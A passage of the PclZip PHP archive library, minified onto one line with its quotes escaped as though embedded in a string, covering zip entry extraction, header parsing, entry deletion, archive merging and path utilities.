\'File \\\'\'.$p_entry[\'filename\'].\'\\\' is encrypted. Encrypted files are not supported.\'); return PclZip::errorCode(); } if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry[\'size\'])) ) ) { $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); $v_file_content = @gzinflate($v_buffer); unset($v_buffer); if ($v_file_content === FALSE) { $p_entry[\'status\'] = "error"; return $v_result; } if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } @fwrite($v_dest_file, $v_file_content, $p_entry[\'size\']); unset($v_file_content); @fclose($v_dest_file); } @touch($p_entry[\'filename\'], $p_entry[\'mtime\']); } if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { @chmod($p_entry[\'filename\'], $p_options[PCLZIP_OPT_SET_CHMOD]); } } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileUsingTempFile(&$p_entry, &$p_options) { $v_result=1; $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.gz\'; if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_binary_data = pack(\'va1a1Va1a1\', 0x8b1f, Chr($p_entry[\'compression\']), Chr(0x00), time(), Chr(0x00), Chr(3)); @fwrite($v_dest_file, $v_binary_data, 10); $v_size = $p_entry[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_binary_data = pack(\'VV\', $p_entry[\'crc\'], $p_entry[\'size\']); @fwrite($v_dest_file, $v_binary_data, 8); @fclose($v_dest_file); if (($v_dest_file = @fopen($p_entry[\'filename\'], \'wb\')) == 0) { $p_entry[\'status\'] = "write_error"; return $v_result; } if (($v_src_file = @gzopen($v_gzip_temp_name, \'rb\')) == 0) { @fclose($v_dest_file); $p_entry[\'status\'] = "read_error"; PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_size = $p_entry[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($v_src_file, $v_read_size); @fwrite($v_dest_file, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_dest_file); @gzclose($v_src_file); @unlink($v_gzip_temp_name); return $v_result; } function privExtractFileInOutput(&$p_entry, &$p_options) { $v_result=1; if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compressed_size\'] == $p_entry[\'size\']) { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); echo $v_buffer; unset($v_buffer); } else { $v_buffer = @fread($this->zip_fd, $p_entry[\'compressed_size\']); $v_file_content = gzinflate($v_buffer); unset($v_buffer); echo $v_file_content; unset($v_file_content); } } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) { $v_result=1; $v_header = array(); if (($v_result = $this->privReadFileHeader($v_header)) != 1) { return $v_result; } if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { } if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); if ($v_result == 0) { $p_entry[\'status\'] = "skipped"; $v_result = 1; } if ($v_result == 2) { $p_entry[\'status\'] = "aborted"; $v_result = PCLZIP_ERR_USER_ABORTED; } $p_entry[\'filename\'] = $v_local_header[\'filename\']; } if ($p_entry[\'status\'] == \'ok\') { if (!(($p_entry[\'external\']&0x00000010)==0x00000010)) { if ($p_entry[\'compression\'] == 0) { $p_string = @fread($this->zip_fd, $p_entry[\'compressed_size\']); } else { $v_data = @fread($this->zip_fd, $p_entry[\'compressed_size\']); if (($p_string = @gzinflate($v_data)) === FALSE) { } } } else { } } if ($p_entry[\'status\'] == "aborted") { $p_entry[\'status\'] = "skipped"; } elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_entry, $v_local_header); $v_local_header[\'content\'] = $p_string; $p_string = \'\'; $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); $p_string = $v_local_header[\'content\']; unset($v_local_header[\'content\']); if ($v_result == 2) { $v_result = PCLZIP_ERR_USER_ABORTED; } } return $v_result; } function privReadFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] != 0x04034b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Invalid archive structure\'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 26); if (strlen($v_binary_data) != 26) { $p_header[\'filename\'] = ""; $p_header[\'status\'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack(\'vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len\', $v_binary_data); $p_header[\'filename\'] = fread($this->zip_fd, $v_data[\'filename_len\']); if ($v_data[\'extra_len\'] != 0) { $p_header[\'extra\'] = fread($this->zip_fd, $v_data[\'extra_len\']); } else { $p_header[\'extra\'] = \'\'; } $p_header[\'version_extracted\'] = $v_data[\'version\']; $p_header[\'compression\'] = $v_data[\'compression\']; $p_header[\'size\'] = $v_data[\'size\']; $p_header[\'compressed_size\'] = $v_data[\'compressed_size\']; $p_header[\'crc\'] = $v_data[\'crc\']; $p_header[\'flag\'] = $v_data[\'flag\']; $p_header[\'filename_len\'] = $v_data[\'filename_len\']; $p_header[\'mdate\'] = $v_data[\'mdate\']; $p_header[\'mtime\'] = $v_data[\'mtime\']; if ($p_header[\'mdate\'] && $p_header[\'mtime\']) { $v_hour = ($p_header[\'mtime\'] & 0xF800) >> 11; $v_minute = ($p_header[\'mtime\'] & 0x07E0) >> 5; $v_seconde = ($p_header[\'mtime\'] & 0x001F)*2; $v_year = (($p_header[\'mdate\'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header[\'mdate\'] & 0x01E0) >> 5; $v_day = $p_header[\'mdate\'] & 0x001F; $p_header[\'mtime\'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header[\'mtime\'] = time(); } $p_header[\'stored_filename\'] = $p_header[\'filename\']; $p_header[\'status\'] = "ok"; return $v_result; } function privReadCentralFileHeader(&$p_header) { $v_result=1; $v_binary_data = @fread($this->zip_fd, 4); $v_data = unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] != 0x02014b50) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Invalid archive structure\'); return PclZip::errorCode(); } $v_binary_data = fread($this->zip_fd, 42); if (strlen($v_binary_data) != 42) { $p_header[\'filename\'] = ""; $p_header[\'status\'] = "invalid_header"; PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $p_header = unpack(\'vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset\', $v_binary_data); if ($p_header[\'filename_len\'] != 0) $p_header[\'filename\'] = fread($this->zip_fd, $p_header[\'filename_len\']); else $p_header[\'filename\'] = \'\'; if ($p_header[\'extra_len\'] != 0) $p_header[\'extra\'] = fread($this->zip_fd, $p_header[\'extra_len\']); else $p_header[\'extra\'] = \'\'; if ($p_header[\'comment_len\'] != 0) $p_header[\'comment\'] = fread($this->zip_fd, $p_header[\'comment_len\']); else $p_header[\'comment\'] = \'\'; if (1) { $v_hour = ($p_header[\'mtime\'] & 0xF800) >> 11; $v_minute = ($p_header[\'mtime\'] & 0x07E0) >> 5; $v_seconde = ($p_header[\'mtime\'] & 0x001F)*2; $v_year = (($p_header[\'mdate\'] & 0xFE00) >> 9) + 1980; $v_month = ($p_header[\'mdate\'] & 0x01E0) >> 5; $v_day = $p_header[\'mdate\'] & 0x001F; $p_header[\'mtime\'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); } else { $p_header[\'mtime\'] = time(); } $p_header[\'stored_filename\'] = $p_header[\'filename\']; $p_header[\'status\'] = \'ok\'; if (substr($p_header[\'filename\'], -1) == \'/\') { $p_header[\'external\'] = 0x00000010; } return $v_result; } function privCheckFileHeaders(&$p_local_header, &$p_central_header) { $v_result=1; if ($p_local_header[\'filename\'] != $p_central_header[\'filename\']) { } if ($p_local_header[\'version_extracted\'] != $p_central_header[\'version_extracted\']) { } if ($p_local_header[\'flag\'] != $p_central_header[\'flag\']) { } if ($p_local_header[\'compression\'] != $p_central_header[\'compression\']) { } if ($p_local_header[\'mtime\'] != $p_central_header[\'mtime\']) { } if ($p_local_header[\'filename_len\'] != $p_central_header[\'filename_len\']) { } if (($p_local_header[\'flag\'] & 8) == 8) { $p_local_header[\'size\'] = $p_central_header[\'size\']; $p_local_header[\'compressed_size\'] = $p_central_header[\'compressed_size\']; $p_local_header[\'crc\'] = $p_central_header[\'crc\']; } return $v_result; } function privReadEndCentralDir(&$p_central_dir) { $v_result=1; $v_size = filesize($this->zipname); @fseek($this->zip_fd, $v_size); if (@ftell($this->zip_fd) != $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to go to the end of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_found = 0; if ($v_size > 26) { @fseek($this->zip_fd, $v_size-22); if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to seek back to the middle of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_binary_data = @fread($this->zip_fd, 4); $v_data = @unpack(\'Vid\', $v_binary_data); if ($v_data[\'id\'] == 0x06054b50) { $v_found = 1; } $v_pos = ftell($this->zip_fd); } if (!$v_found) { $v_maximum_size = 65557; if ($v_maximum_size > $v_size) $v_maximum_size = $v_size; @fseek($this->zip_fd, $v_size-$v_maximum_size); if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'Unable to seek back to the middle of the archive \\\'\'.$this->zipname.\'\\\'\'); return PclZip::errorCode(); } $v_pos = ftell($this->zip_fd); $v_bytes = 0x00000000; while ($v_pos < $v_size) { $v_byte = @fread($this->zip_fd, 1); $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); if ($v_bytes == 0x504b0506) { $v_pos++; break; } $v_pos++; } if ($v_pos == $v_size) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); return PclZip::errorCode(); } } $v_binary_data = fread($this->zip_fd, 18); if (strlen($v_binary_data) != 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); return PclZip::errorCode(); } $v_data = unpack(\'vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size\', $v_binary_data); if (($v_pos + $v_data[\'comment_size\'] + 18) != $v_size) { if (0) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'The central dir is not at the end of the archive.\' .\' Some trailing bytes exists after the archive.\'); return PclZip::errorCode(); } } if ($v_data[\'comment_size\'] != 0) { $p_central_dir[\'comment\'] = fread($this->zip_fd, $v_data[\'comment_size\']); } else $p_central_dir[\'comment\'] = \'\'; $p_central_dir[\'entries\'] = $v_data[\'entries\']; $p_central_dir[\'disk_entries\'] = $v_data[\'disk_entries\']; $p_central_dir[\'offset\'] = $v_data[\'offset\']; $p_central_dir[\'size\'] = $v_data[\'size\']; $p_central_dir[\'disk\'] = $v_data[\'disk\']; $p_central_dir[\'disk_start\'] = $v_data[\'disk_start\']; return $v_result; } function privDeleteByRule(&$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if (($v_result=$this->privOpenFd(\'rb\')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); $v_pos_entry = $v_central_dir[\'offset\']; @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_header_list = array(); $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir[\'entries\']; $i++) { $v_header_list[$v_nb_extracted] = array(); if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); return $v_result; } $v_header_list[$v_nb_extracted][\'index\'] = $i; $v_found = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) { if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { if ( (strlen($v_header_list[$v_nb_extracted][\'stored_filename\']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header_list[$v_nb_extracted][\'stored_filename\'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } elseif ( (($v_header_list[$v_nb_extracted][\'external\']&0x00000010)==0x00000010) && ($v_header_list[$v_nb_extracted][\'stored_filename\'].\'/\' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } } elseif ($v_header_list[$v_nb_extracted][\'stored_filename\'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_found = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted][\'stored_filename\'])) { $v_found = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\'])) { $v_found = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j][\'end\']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j][\'start\']>$i) { break; } } } else { $v_found = true; } if ($v_found) { unset($v_header_list[$v_nb_extracted]); } else { $v_nb_extracted++; } } if ($v_nb_extracted > 0) { $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; $v_temp_zip = new PclZip($v_zip_temp_name); if (($v_result = $v_temp_zip->privOpenFd(\'wb\')) != 1) { $this->privCloseFd(); return $v_result; } for ($i=0; $i<sizeof($v_header_list); $i++) { @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header_list[$i][\'offset\'])) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } $v_local_header = array(); if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if ($this->privCheckFileHeaders($v_local_header, $v_header_list[$i]) != 1) { } unset($v_local_header); if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i][\'compressed_size\'])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } } $v_offset = @ftell($v_temp_zip->zip_fd); for ($i=0; $i<sizeof($v_header_list); $i++) { if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) { $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = \'\'; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); unset($v_temp_zip); } else if ($v_central_dir[\'entries\'] != 0) { $this->privCloseFd(); if (($v_result = $this->privOpenFd(\'wb\')) != 1) { return $v_result; } if (($v_result = $this->privWriteCentralHeader(0, 0, 0, \'\')) != 1) { return $v_result; } $this->privCloseFd(); } return $v_result; } function privDirCheck($p_dir, $p_is_dir=false) { $v_result = 1; if (($p_is_dir) && (substr($p_dir, -1)==\'/\')) { $p_dir = substr($p_dir, 0, strlen($p_dir)-1); } if ((is_dir($p_dir)) || ($p_dir == "")) { return 1; } $p_parent_dir = dirname($p_dir); if ($p_parent_dir != $p_dir) { if ($p_parent_dir != "") { if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) { return $v_result; } } } if (!@mkdir($p_dir, 0777)) { PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory \'$p_dir\'"); return PclZip::errorCode(); } return $v_result; } function privMerge(&$p_archive_to_add) { $v_result=1; if (!is_file($p_archive_to_add->zipname)) { $v_result = 1; return $v_result; } if (!is_file($this->zipname)) { $v_result = $this->privDuplicate($p_archive_to_add->zipname); return $v_result; } if (($v_result=$this->privOpenFd(\'rb\')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); if (($v_result=$p_archive_to_add->privOpenFd(\'rb\')) != 1) { $this->privCloseFd(); return $v_result; } $v_central_dir_to_add = array(); if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); return $v_result; } @rewind($p_archive_to_add->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, \'wb\')) == 0) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_zip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = $v_central_dir[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_offset = @ftell($v_zip_temp_fd); $v_size = $v_central_dir[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_comment = $v_central_dir[\'comment\'].\' \'.$v_central_dir_to_add[\'comment\']; $v_size = @ftell($v_zip_temp_fd)-$v_offset; $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; if (($v_result = $this->privWriteCentralHeader($v_central_dir[\'entries\']+$v_central_dir_to_add[\'entries\'], $v_size, $v_offset, $v_comment)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); $this->zip_fd = null; unset($v_header_list); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privDuplicate($p_archive_filename) { $v_result=1; if (!is_file($p_archive_filename)) { $v_result = 1; return $v_result; } if (($v_result=$this->privOpenFd(\'wb\')) != 1) { return $v_result; } if (($v_zip_temp_fd = @fopen($p_archive_filename, \'rb\')) == 0) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive file \\\'\'.$p_archive_filename.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = filesize($p_archive_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $this->privCloseFd(); @fclose($v_zip_temp_fd); return $v_result; } function privErrorLog($p_error_code=0, $p_error_string=\'\') { if (PCLZIP_ERROR_EXTERNAL == 1) { PclError($p_error_code, $p_error_string); } else { $this->error_code = $p_error_code; $this->error_string = $p_error_string; } } function privErrorReset() { if (PCLZIP_ERROR_EXTERNAL == 1) { PclErrorReset(); } else { $this->error_code = 0; $this->error_string = \'\'; } } function privDisableMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } $this->magic_quotes_status = @get_magic_quotes_runtime(); if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime(0); } return $v_result; } function privSwapBackMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime($this->magic_quotes_status); } return $v_result; } } function PclZipUtilPathReduction($p_dir) { $v_result = ""; if ($p_dir != "") { $v_list = explode("/", $p_dir); $v_skip = 0; for ($i=sizeof($v_list)-1; $i>=0; $i--) { if ($v_list[$i] == ".") { } else if ($v_list[$i] == "..") { $v_skip++; } else if ($v_list[$i] == "") { if ($i == 0) { $v_result = "/".$v_result; if ($v_skip > 0) { $v_result = $p_dir; $v_skip = 0; } } else if ($i == (sizeof($v_list)-1)) { $v_result = $v_list[$i]; } else { } } else { if ($v_skip > 0) { $v_skip--; } else { $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); } } } if ($v_skip > 0) { while ($v_skip > 0) { $v_result = \'../\'.$v_result; $v_skip--; } } } return $v_result; } function PclZipUtilPathInclusion($p_dir, $p_path) { $v_result = 1; if ( ($p_dir == \'.\') || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == \'./\'))) { $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).\'/\'.substr($p_dir, 1); } if ( ($p_path == \'.\') || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == \'./\'))) { $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).\'/\'.substr($p_path, 1); } $v_list_dir = explode("/", $p_dir); $v_list_dir_size = sizeof($v_list_dir); $v_list_path = explode("/", $p_path); $v_list_path_size = sizeof($v_list_path); $i = 0; $j = 0; while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { if ($v_list_dir[$i] == \'\') { $i++; continue; } if ($v_list_path[$j] == \'\') { $j++; continue; } if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != \'\') && ( $v_list_path[$j] != \'\')) { $v_result = 0; } $i++; $j++; } if ($v_result) { while (($j < $v_list_path_size) && ($v_list_path[$j] == \'\')) $j++; while (($i < $v_list_dir_size) && ($v_list_dir[$i] == \'\')) $i++; if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { $v_result = 2; } else if ($i < $v_list_dir_size) { $v_result = 0; } } return $v_result; } function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) { $v_result = 1; if ($p_mode==0) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==1) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==2) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==3) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } return $v_result; } function PclZipUtilRename($p_src, $p_dest) { $v_result = 1; if (!@rename($p_src, $p_dest)) { if (!@copy($p_src, $p_dest)) { $v_result = 0; } else if (!@unlink($p_src)) { $v_result = 0; } } return $v_result; } function PclZipUtilOptionText($p_option) { $v_list = get_defined_constants(); for (reset($v_list); $v_key = key($v_list); next($v_list)) { $v_prefix = substr($v_key, 0, 10); if (( ($v_prefix == \'PCLZIP_OPT\') || ($v_prefix == \'PCLZIP_CB_\') || ($v_prefix == \'PCLZIP_ATT\')) && ($v_list[$v_key] == $p_option)) { return $v_key; } } 